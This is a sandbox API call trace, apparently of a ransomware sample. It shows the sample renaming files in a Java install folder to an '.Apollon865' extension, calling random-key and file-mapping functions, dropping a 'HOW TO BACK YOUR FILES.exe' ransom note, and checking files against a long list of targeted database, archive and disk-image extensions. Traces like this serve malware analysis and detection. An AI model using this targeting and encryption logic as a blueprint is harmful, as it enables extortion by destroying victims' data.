	[0055.235] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0055.235] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3711, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="management.properties", cAlternateFileName="MANAGE~1.PRO")) returned 1
	[0055.235] lstrcmpiW (lpString1="management.properties", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0055.235] lstrcmpiW (lpString1="management.properties", lpString2="Apollon865.txt.exe") returned 1
	[0055.236] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\snmp.acl.template.Apollon865") returned 76
	[0055.236] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\management\\snmp.acl.template"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\snmp.acl.template.Apollon865" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\management\\snmp.acl.template.apollon865"), dwFlags=0x1) returned 1
	[0055.237] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\snmp.acl.template.Apollon865" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\management\\snmp.acl.template.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0055.237] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=3376) returned 1
	[0055.237] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0055.237] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0055.237] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0055.237] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0055.238] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0055.238] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0055.238] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1030, lpName=0x0) returned 0x15c
	[0055.240] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1030) returned 0x120000
	[0055.240] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0055.241] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0055.241] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0055.241] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0055.241] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0055.241] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0055.241] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0055.241] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0055.241] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0055.241] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0055.242] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0055.242] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0055.242] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0055.242] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0055.242] CloseHandle (hObject=0x15c) returned 1
	[0055.242] CloseHandle (hObject=0xc0) returned 1
	[0055.242] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0055.242] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0055.242] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0055.242] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xd30, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="snmp.acl.template", cAlternateFileName="SNMPAC~1.TEM")) returned 0
	[0055.242] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0055.242] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7ab0
	[0055.242] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr"
	[0055.242] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x598708 | out: hHeap=0x580000) returned 1
	[0055.242] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0055.242] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr") returned 40
	[0055.243] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr" | out: lpString1="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr"
	[0055.243] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.243] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jfr\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0055.247] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.247] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x3900d8d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3900d8d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.247] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.247] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.247] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="default.jfc" | out: lpString1="default.jfc") returned="default.jfc"
	[0055.247] lstrlenW (lpString="default.jfc") returned 11
	[0055.247] lstrlenW (lpString="Apollon865") returned 10
	[0055.247] lstrcmpiW (lpString1="efault.jfc", lpString2="Apollon865") returned 1
	[0055.247] lstrlenW (lpString=".dll") returned 4
	[0055.247] lstrcmpiW (lpString1="default.jfc", lpString2=".dll") returned 1
	[0055.247] lstrlenW (lpString=".lnk") returned 4
	[0055.247] lstrcmpiW (lpString1="default.jfc", lpString2=".lnk") returned 1
	[0055.247] lstrlenW (lpString=".ini") returned 4
	[0055.247] lstrcmpiW (lpString1="default.jfc", lpString2=".ini") returned 1
	[0055.248] lstrlenW (lpString=".sys") returned 4
	[0055.248] lstrcmpiW (lpString1="default.jfc", lpString2=".sys") returned 1
	[0055.248] lstrlenW (lpString="default.jfc") returned 11
	[0055.248] lstrlenW (lpString="bak") returned 3
	[0055.248] lstrcmpiW (lpString1="jfc", lpString2="bak") returned 1
	[0055.248] lstrlenW (lpString="ba_") returned 3
	[0055.248] lstrcmpiW (lpString1="jfc", lpString2="ba_") returned 1
	[0055.248] lstrlenW (lpString="dbb") returned 3
	[0055.248] lstrcmpiW (lpString1="jfc", lpString2="dbb") returned 1
	[0055.248] lstrlenW (lpString="vmdk") returned 4
	[0055.248] lstrcmpiW (lpString1=".jfc", lpString2="vmdk") returned -1
	[0055.248] lstrlenW (lpString="rar") returned 3
	[0055.248] lstrcmpiW (lpString1="jfc", lpString2="rar") returned -1
	[0055.248] lstrlenW (lpString="zip") returned 3
	[0055.248] lstrcmpiW (lpString1="jfc", lpString2="zip") returned -1
	[0055.248] lstrlenW (lpString="tgz") returned 3
	[0055.248] lstrcmpiW (lpString1="jfc", lpString2="tgz") returned -1
	[0055.248] lstrlenW (lpString="vbox") returned 4
	[0055.248] lstrcmpiW (lpString1=".jfc", lpString2="vbox") returned -1
	[0055.248] lstrlenW (lpString="vdi") returned 3
	[0055.248] lstrcmpiW (lpString1="jfc", lpString2="vdi") returned -1
	[0055.248] lstrlenW (lpString="vhd") returned 3
	[0055.248] lstrcmpiW (lpString1="jfc", lpString2="vhd") returned -1
	[0055.248] lstrlenW (lpString="vhdx") returned 4
	[0055.248] lstrcmpiW (lpString1=".jfc", lpString2="vhdx") returned -1
	[0055.248] lstrlenW (lpString="avhd") returned 4
	[0055.248] lstrcmpiW (lpString1=".jfc", lpString2="avhd") returned -1
	[0055.248] lstrlenW (lpString="db") returned 2
	[0055.248] lstrcmpiW (lpString1="fc", lpString2="db") returned 1
	[0055.248] lstrlenW (lpString="db2") returned 3
	[0055.248] lstrcmpiW (lpString1="jfc", lpString2="db2") returned 1
	[0055.248] lstrlenW (lpString="db3") returned 3
	[0055.248] lstrcmpiW (lpString1="jfc", lpString2="db3") returned 1
	[0055.248] lstrlenW (lpString="dbf") returned 3
	[0055.248] lstrcmpiW (lpString1="jfc", lpString2="dbf") returned 1
	[0055.248] lstrlenW (lpString="mdf") returned 3
	[0055.249] lstrcmpiW (lpString1="jfc", lpString2="mdf") returned -1
	[0055.249] lstrlenW (lpString="mdb") returned 3
	[0055.249] lstrcmpiW (lpString1="jfc", lpString2="mdb") returned -1
	[0055.249] lstrlenW (lpString="sql") returned 3
	[0055.249] lstrcmpiW (lpString1="jfc", lpString2="sql") returned -1
	[0055.249] lstrlenW (lpString="sqlite") returned 6
	[0055.249] lstrcmpiW (lpString1="lt.jfc", lpString2="sqlite") returned -1
	[0055.249] lstrlenW (lpString="sqlite3") returned 7
	[0055.249] lstrcmpiW (lpString1="ult.jfc", lpString2="sqlite3") returned 1
	[0055.249] lstrlenW (lpString="sqlitedb") returned 8
	[0055.249] lstrcmpiW (lpString1="ault.jfc", lpString2="sqlitedb") returned -1
	[0055.249] lstrlenW (lpString="xml") returned 3
	[0055.249] lstrcmpiW (lpString1="jfc", lpString2="xml") returned -1
	[0055.249] lstrlenW (lpString="$er") returned 3
	[0055.249] lstrcmpiW (lpString1="jfc", lpString2="$er") returned 1
	[0055.249] lstrlenW (lpString="4dd") returned 3
	[0055.249] lstrcmpiW (lpString1="jfc", lpString2="4dd") returned 1
	[0055.249] lstrlenW (lpString="4dl") returned 3
	[0055.249] lstrcmpiW (lpString1="jfc", lpString2="4dl") returned 1
	[0055.249] lstrlenW (lpString="^^^") returned 3
	[0055.249] lstrcmpiW (lpString1="jfc", lpString2="^^^") returned 1
	[0055.249] lstrlenW (lpString="abs") returned 3
	[0055.249] lstrcmpiW (lpString1="jfc", lpString2="abs") returned 1
	[0055.249] lstrlenW (lpString="abx") returned 3
	[0055.249] lstrcmpiW (lpString1="jfc", lpString2="abx") returned 1
	[0055.249] lstrlenW (lpString="accdb") returned 5
	[0055.249] lstrcmpiW (lpString1="t.jfc", lpString2="accdb") returned 1
	[0055.249] lstrlenW (lpString="accdc") returned 5
	[0055.249] lstrcmpiW (lpString1="t.jfc", lpString2="accdc") returned 1
	[0055.249] lstrlenW (lpString="accde") returned 5
	[0055.249] lstrcmpiW (lpString1="t.jfc", lpString2="accde") returned 1
	[0055.249] lstrlenW (lpString="accdr") returned 5
	[0055.249] lstrcmpiW (lpString1="t.jfc", lpString2="accdr") returned 1
	[0055.249] lstrlenW (lpString="accdt") returned 5
	[0055.250] lstrcmpiW (lpString1="t.jfc", lpString2="accdt") returned 1
	[0055.250] lstrlenW (lpString="accdw") returned 5
	[0055.250] lstrcmpiW (lpString1="t.jfc", lpString2="accdw") returned 1
	[0055.250] lstrlenW (lpString="accft") returned 5
	[0055.250] lstrcmpiW (lpString1="t.jfc", lpString2="accft") returned 1
	[0055.250] lstrlenW (lpString="adb") returned 3
	[0055.250] lstrcmpiW (lpString1="jfc", lpString2="adb") returned 1
	[0055.250] lstrlenW (lpString="adb") returned 3
	[0055.250] lstrcmpiW (lpString1="jfc", lpString2="adb") returned 1
	[0055.250] lstrlenW (lpString="ade") returned 3
	[0055.250] lstrcmpiW (lpString1="jfc", lpString2="ade") returned 1
	[0055.250] lstrlenW (lpString="adf") returned 3
	[0055.250] lstrcmpiW (lpString1="jfc", lpString2="adf") returned 1
	[0055.250] lstrlenW (lpString="adn") returned 3
	[0055.250] lstrcmpiW (lpString1="jfc", lpString2="adn") returned 1
	[0055.250] lstrlenW (lpString="adp") returned 3
	[0055.250] lstrcmpiW (lpString1="jfc", lpString2="adp") returned 1
	[0055.250] lstrlenW (lpString="alf") returned 3
	[0055.250] lstrcmpiW (lpString1="jfc", lpString2="alf") returned 1
	[0055.250] lstrlenW (lpString="ask") returned 3
	[0055.250] lstrcmpiW (lpString1="jfc", lpString2="ask") returned 1
	[0055.250] lstrlenW (lpString="btr") returned 3
	[0055.250] lstrcmpiW (lpString1="jfc", lpString2="btr") returned 1
	[0055.250] lstrlenW (lpString="cat") returned 3
	[0055.250] lstrcmpiW (lpString1="jfc", lpString2="cat") returned 1
	[0055.250] lstrlenW (lpString="cdb") returned 3
	[0055.250] lstrcmpiW (lpString1="jfc", lpString2="cdb") returned 1
	[0055.250] lstrlenW (lpString="ckp") returned 3
	[0055.250] lstrcmpiW (lpString1="jfc", lpString2="ckp") returned 1
	[0055.250] lstrlenW (lpString="cma") returned 3
	[0055.250] lstrcmpiW (lpString1="jfc", lpString2="cma") returned 1
	[0055.250] lstrlenW (lpString="cpd") returned 3
	[0055.250] lstrcmpiW (lpString1="jfc", lpString2="cpd") returned 1
	[0055.250] lstrlenW (lpString="dacpac") returned 6
	[0055.251] lstrcmpiW (lpString1="lt.jfc", lpString2="dacpac") returned 1
	[0055.251] lstrlenW (lpString="dad") returned 3
	[0055.251] lstrcmpiW (lpString1="jfc", lpString2="dad") returned 1
	[0055.251] lstrlenW (lpString="dadiagrams") returned 10
	[0055.251] lstrcmpiW (lpString1="efault.jfc", lpString2="dadiagrams") returned 1
	[0055.251] lstrlenW (lpString="daschema") returned 8
	[0055.251] lstrcmpiW (lpString1="ault.jfc", lpString2="daschema") returned -1
	[0055.251] lstrlenW (lpString="db-journal") returned 10
	[0055.251] lstrcmpiW (lpString1="efault.jfc", lpString2="db-journal") returned 1
	[0055.251] lstrlenW (lpString="db-shm") returned 6
	[0055.251] lstrcmpiW (lpString1="lt.jfc", lpString2="db-shm") returned 1
	[0055.251] lstrlenW (lpString="db-wal") returned 6
	[0055.251] lstrcmpiW (lpString1="lt.jfc", lpString2="db-wal") returned 1
	[0055.251] lstrlenW (lpString="dbc") returned 3
	[0055.251] lstrcmpiW (lpString1="jfc", lpString2="dbc") returned 1
	[0055.251] lstrlenW (lpString="dbs") returned 3
	[0055.251] lstrcmpiW (lpString1="jfc", lpString2="dbs") returned 1
	[0055.251] lstrlenW (lpString="dbt") returned 3
	[0055.251] lstrcmpiW (lpString1="jfc", lpString2="dbt") returned 1
	[0055.251] lstrlenW (lpString="dbv") returned 3
	[0055.251] lstrcmpiW (lpString1="jfc", lpString2="dbv") returned 1
	[0055.251] lstrlenW (lpString="dbx") returned 3
	[0055.251] lstrcmpiW (lpString1="jfc", lpString2="dbx") returned 1
	[0055.251] lstrlenW (lpString="dcb") returned 3
	[0055.251] lstrcmpiW (lpString1="jfc", lpString2="dcb") returned 1
	[0055.251] lstrlenW (lpString="dct") returned 3
	[0055.251] lstrcmpiW (lpString1="jfc", lpString2="dct") returned 1
	[0055.251] lstrlenW (lpString="dcx") returned 3
	[0055.251] lstrcmpiW (lpString1="jfc", lpString2="dcx") returned 1
	[0055.251] lstrlenW (lpString="ddl") returned 3
	[0055.251] lstrcmpiW (lpString1="jfc", lpString2="ddl") returned 1
	[0055.251] lstrlenW (lpString="dlis") returned 4
	[0055.251] lstrcmpiW (lpString1=".jfc", lpString2="dlis") returned -1
	[0055.251] lstrlenW (lpString="dp1") returned 3
	[0055.251] lstrcmpiW (lpString1="jfc", lpString2="dp1") returned 1
	[0055.251] lstrlenW (lpString="dqy") returned 3
	[0055.252] lstrcmpiW (lpString1="jfc", lpString2="dqy") returned 1
	[0055.252] lstrlenW (lpString="dsk") returned 3
	[0055.252] lstrcmpiW (lpString1="jfc", lpString2="dsk") returned 1
	[0055.252] lstrlenW (lpString="dsn") returned 3
	[0055.252] lstrcmpiW (lpString1="jfc", lpString2="dsn") returned 1
	[0055.252] lstrlenW (lpString="dtsx") returned 4
	[0055.252] lstrcmpiW (lpString1=".jfc", lpString2="dtsx") returned -1
	[0055.252] lstrlenW (lpString="dxl") returned 3
	[0055.252] lstrcmpiW (lpString1="jfc", lpString2="dxl") returned 1
	[0055.252] lstrlenW (lpString="eco") returned 3
	[0055.252] lstrcmpiW (lpString1="jfc", lpString2="eco") returned 1
	[0055.252] lstrlenW (lpString="ecx") returned 3
	[0055.252] lstrcmpiW (lpString1="jfc", lpString2="ecx") returned 1
	[0055.252] lstrlenW (lpString="edb") returned 3
	[0055.252] lstrcmpiW (lpString1="jfc", lpString2="edb") returned 1
	[0055.252] lstrlenW (lpString="epim") returned 4
	[0055.252] lstrcmpiW (lpString1=".jfc", lpString2="epim") returned -1
	[0055.252] lstrlenW (lpString="fcd") returned 3
	[0055.252] lstrcmpiW (lpString1="jfc", lpString2="fcd") returned 1
	[0055.252] lstrlenW (lpString="fdb") returned 3
	[0055.252] lstrcmpiW (lpString1="jfc", lpString2="fdb") returned 1
	[0055.252] lstrlenW (lpString="fic") returned 3
	[0055.252] lstrcmpiW (lpString1="jfc", lpString2="fic") returned 1
	[0055.252] lstrlenW (lpString="flexolibrary") returned 12
	[0055.252] lstrlenW (lpString="fm5") returned 3
	[0055.252] lstrcmpiW (lpString1="jfc", lpString2="fm5") returned 1
	[0055.252] lstrlenW (lpString="fmp") returned 3
	[0055.252] lstrcmpiW (lpString1="jfc", lpString2="fmp") returned 1
	[0055.252] lstrlenW (lpString="fmp12") returned 5
	[0055.252] lstrcmpiW (lpString1="t.jfc", lpString2="fmp12") returned 1
	[0055.252] lstrlenW (lpString="fmpsl") returned 5
	[0055.252] lstrcmpiW (lpString1="t.jfc", lpString2="fmpsl") returned 1
	[0055.252] lstrlenW (lpString="fol") returned 3
	[0055.252] lstrcmpiW (lpString1="jfc", lpString2="fol") returned 1
	[0055.252] lstrlenW (lpString="fp3") returned 3
	[0055.253] lstrcmpiW (lpString1="jfc", lpString2="fp3") returned 1
	[0055.253] lstrlenW (lpString="fp4") returned 3
	[0055.253] lstrcmpiW (lpString1="jfc", lpString2="fp4") returned 1
	[0055.253] lstrlenW (lpString="fp5") returned 3
	[0055.253] lstrcmpiW (lpString1="jfc", lpString2="fp5") returned 1
	[0055.253] lstrlenW (lpString="fp7") returned 3
	[0055.253] lstrcmpiW (lpString1="jfc", lpString2="fp7") returned 1
	[0055.253] lstrlenW (lpString="fpt") returned 3
	[0055.253] lstrcmpiW (lpString1="jfc", lpString2="fpt") returned 1
	[0055.253] lstrlenW (lpString="frm") returned 3
	[0055.253] lstrcmpiW (lpString1="jfc", lpString2="frm") returned 1
	[0055.253] lstrlenW (lpString="gdb") returned 3
	[0055.253] lstrcmpiW (lpString1="jfc", lpString2="gdb") returned 1
	[0055.253] lstrlenW (lpString="gdb") returned 3
	[0055.253] lstrcmpiW (lpString1="jfc", lpString2="gdb") returned 1
	[0055.253] lstrlenW (lpString="grdb") returned 4
	[0055.253] lstrcmpiW (lpString1=".jfc", lpString2="grdb") returned -1
	[0055.253] lstrlenW (lpString="gwi") returned 3
	[0055.253] lstrcmpiW (lpString1="jfc", lpString2="gwi") returned 1
	[0055.253] lstrlenW (lpString="hdb") returned 3
	[0055.253] lstrcmpiW (lpString1="jfc", lpString2="hdb") returned 1
	[0055.253] lstrlenW (lpString="his") returned 3
	[0055.253] lstrcmpiW (lpString1="jfc", lpString2="his") returned 1
	[0055.253] lstrlenW (lpString="ib") returned 2
	[0055.253] lstrcmpiW (lpString1="fc", lpString2="ib") returned -1
	[0055.253] lstrlenW (lpString="idb") returned 3
	[0055.253] lstrcmpiW (lpString1="jfc", lpString2="idb") returned 1
	[0055.253] lstrlenW (lpString="ihx") returned 3
	[0055.253] lstrcmpiW (lpString1="jfc", lpString2="ihx") returned 1
	[0055.253] lstrlenW (lpString="itdb") returned 4
	[0055.253] lstrcmpiW (lpString1=".jfc", lpString2="itdb") returned -1
	[0055.253] lstrlenW (lpString="itw") returned 3
	[0055.253] lstrcmpiW (lpString1="jfc", lpString2="itw") returned 1
	[0055.253] lstrlenW (lpString="jet") returned 3
	[0055.253] lstrcmpiW (lpString1="jfc", lpString2="jet") returned 1
	[0055.253] lstrlenW (lpString="jtx") returned 3
	[0055.254] lstrcmpiW (lpString1="jfc", lpString2="jtx") returned -1
	[0055.254] lstrlenW (lpString="kdb") returned 3
	[0055.254] lstrcmpiW (lpString1="jfc", lpString2="kdb") returned -1
	[0055.254] lstrlenW (lpString="kexi") returned 4
	[0055.254] lstrcmpiW (lpString1=".jfc", lpString2="kexi") returned -1
	[0055.254] lstrlenW (lpString="kexic") returned 5
	[0055.254] lstrcmpiW (lpString1="t.jfc", lpString2="kexic") returned 1
	[0055.254] lstrlenW (lpString="kexis") returned 5
	[0055.254] lstrcmpiW (lpString1="t.jfc", lpString2="kexis") returned 1
	[0055.254] lstrlenW (lpString="lgc") returned 3
	[0055.254] lstrcmpiW (lpString1="jfc", lpString2="lgc") returned -1
	[0055.254] lstrlenW (lpString="lwx") returned 3
	[0055.254] lstrcmpiW (lpString1="jfc", lpString2="lwx") returned -1
	[0055.254] lstrlenW (lpString="maf") returned 3
	[0055.254] lstrcmpiW (lpString1="jfc", lpString2="maf") returned -1
	[0055.254] lstrlenW (lpString="maq") returned 3
	[0055.254] lstrcmpiW (lpString1="jfc", lpString2="maq") returned -1
	[0055.254] lstrlenW (lpString="mar") returned 3
	[0055.254] lstrcmpiW (lpString1="jfc", lpString2="mar") returned -1
	[0055.254] lstrlenW (lpString="marshal") returned 7
	[0055.254] lstrcmpiW (lpString1="ult.jfc", lpString2="marshal") returned 1
	[0055.254] lstrlenW (lpString="mas") returned 3
	[0055.254] lstrcmpiW (lpString1="jfc", lpString2="mas") returned -1
	[0055.254] lstrlenW (lpString="mav") returned 3
	[0055.254] lstrcmpiW (lpString1="jfc", lpString2="mav") returned -1
	[0055.254] lstrlenW (lpString="maw") returned 3
	[0055.254] lstrcmpiW (lpString1="jfc", lpString2="maw") returned -1
	[0055.254] lstrlenW (lpString="mdbhtml") returned 7
	[0055.254] lstrcmpiW (lpString1="ult.jfc", lpString2="mdbhtml") returned 1
	[0055.254] lstrlenW (lpString="mdn") returned 3
	[0055.254] lstrcmpiW (lpString1="jfc", lpString2="mdn") returned -1
	[0055.254] lstrlenW (lpString="mdt") returned 3
	[0055.254] lstrcmpiW (lpString1="jfc", lpString2="mdt") returned -1
	[0055.254] lstrlenW (lpString="mfd") returned 3
	[0055.254] lstrcmpiW (lpString1="jfc", lpString2="mfd") returned -1
	[0055.255] lstrlenW (lpString="mpd") returned 3
	[0055.255] lstrcmpiW (lpString1="jfc", lpString2="mpd") returned -1
	[0055.255] lstrlenW (lpString="mrg") returned 3
	[0055.255] lstrcmpiW (lpString1="jfc", lpString2="mrg") returned -1
	[0055.255] lstrlenW (lpString="mud") returned 3
	[0055.255] lstrcmpiW (lpString1="jfc", lpString2="mud") returned -1
	[0055.255] lstrlenW (lpString="mwb") returned 3
	[0055.255] lstrcmpiW (lpString1="jfc", lpString2="mwb") returned -1
	[0055.255] lstrlenW (lpString="myd") returned 3
	[0055.255] lstrcmpiW (lpString1="jfc", lpString2="myd") returned -1
	[0055.255] lstrlenW (lpString="ndf") returned 3
	[0055.255] lstrcmpiW (lpString1="jfc", lpString2="ndf") returned -1
	[0055.255] lstrlenW (lpString="nnt") returned 3
	[0055.255] lstrcmpiW (lpString1="jfc", lpString2="nnt") returned -1
	[0055.255] lstrlenW (lpString="nrmlib") returned 6
	[0055.255] lstrcmpiW (lpString1="lt.jfc", lpString2="nrmlib") returned -1
	[0055.255] lstrlenW (lpString="ns2") returned 3
	[0055.255] lstrcmpiW (lpString1="jfc", lpString2="ns2") returned -1
	[0055.255] lstrlenW (lpString="ns3") returned 3
	[0055.255] lstrcmpiW (lpString1="jfc", lpString2="ns3") returned -1
	[0055.255] lstrlenW (lpString="ns4") returned 3
	[0055.255] lstrcmpiW (lpString1="jfc", lpString2="ns4") returned -1
	[0055.255] lstrlenW (lpString="nsf") returned 3
	[0055.255] lstrcmpiW (lpString1="jfc", lpString2="nsf") returned -1
	[0055.255] lstrlenW (lpString="nv") returned 2
	[0055.255] lstrcmpiW (lpString1="fc", lpString2="nv") returned -1
	[0055.255] lstrlenW (lpString="nv2") returned 3
	[0055.255] lstrcmpiW (lpString1="jfc", lpString2="nv2") returned -1
	[0055.255] lstrlenW (lpString="nwdb") returned 4
	[0055.255] lstrcmpiW (lpString1=".jfc", lpString2="nwdb") returned -1
	[0055.255] lstrlenW (lpString="nyf") returned 3
	[0055.255] lstrcmpiW (lpString1="jfc", lpString2="nyf") returned -1
	[0055.255] lstrlenW (lpString="odb") returned 3
	[0055.255] lstrcmpiW (lpString1="jfc", lpString2="odb") returned -1
	[0055.255] lstrlenW (lpString="odb") returned 3
	[0055.255] lstrcmpiW (lpString1="jfc", lpString2="odb") returned -1
	[0055.256] lstrlenW (lpString="oqy") returned 3
	[0055.256] lstrcmpiW (lpString1="jfc", lpString2="oqy") returned -1
	[0055.256] lstrlenW (lpString="ora") returned 3
	[0055.256] lstrcmpiW (lpString1="jfc", lpString2="ora") returned -1
	[0055.256] lstrlenW (lpString="orx") returned 3
	[0055.256] lstrcmpiW (lpString1="jfc", lpString2="orx") returned -1
	[0055.256] lstrlenW (lpString="owc") returned 3
	[0055.256] lstrcmpiW (lpString1="jfc", lpString2="owc") returned -1
	[0055.256] lstrlenW (lpString="p96") returned 3
	[0055.256] lstrcmpiW (lpString1="jfc", lpString2="p96") returned -1
	[0055.256] lstrlenW (lpString="p97") returned 3
	[0055.256] lstrcmpiW (lpString1="jfc", lpString2="p97") returned -1
	[0055.256] lstrlenW (lpString="pan") returned 3
	[0055.256] lstrcmpiW (lpString1="jfc", lpString2="pan") returned -1
	[0055.256] lstrlenW (lpString="pdb") returned 3
	[0055.256] lstrcmpiW (lpString1="jfc", lpString2="pdb") returned -1
	[0055.256] lstrlenW (lpString="pdm") returned 3
	[0055.256] lstrcmpiW (lpString1="jfc", lpString2="pdm") returned -1
	[0055.256] lstrlenW (lpString="pnz") returned 3
	[0055.256] lstrcmpiW (lpString1="jfc", lpString2="pnz") returned -1
	[0055.256] lstrlenW (lpString="qry") returned 3
	[0055.256] lstrcmpiW (lpString1="jfc", lpString2="qry") returned -1
	[0055.256] lstrlenW (lpString="qvd") returned 3
	[0055.256] lstrcmpiW (lpString1="jfc", lpString2="qvd") returned -1
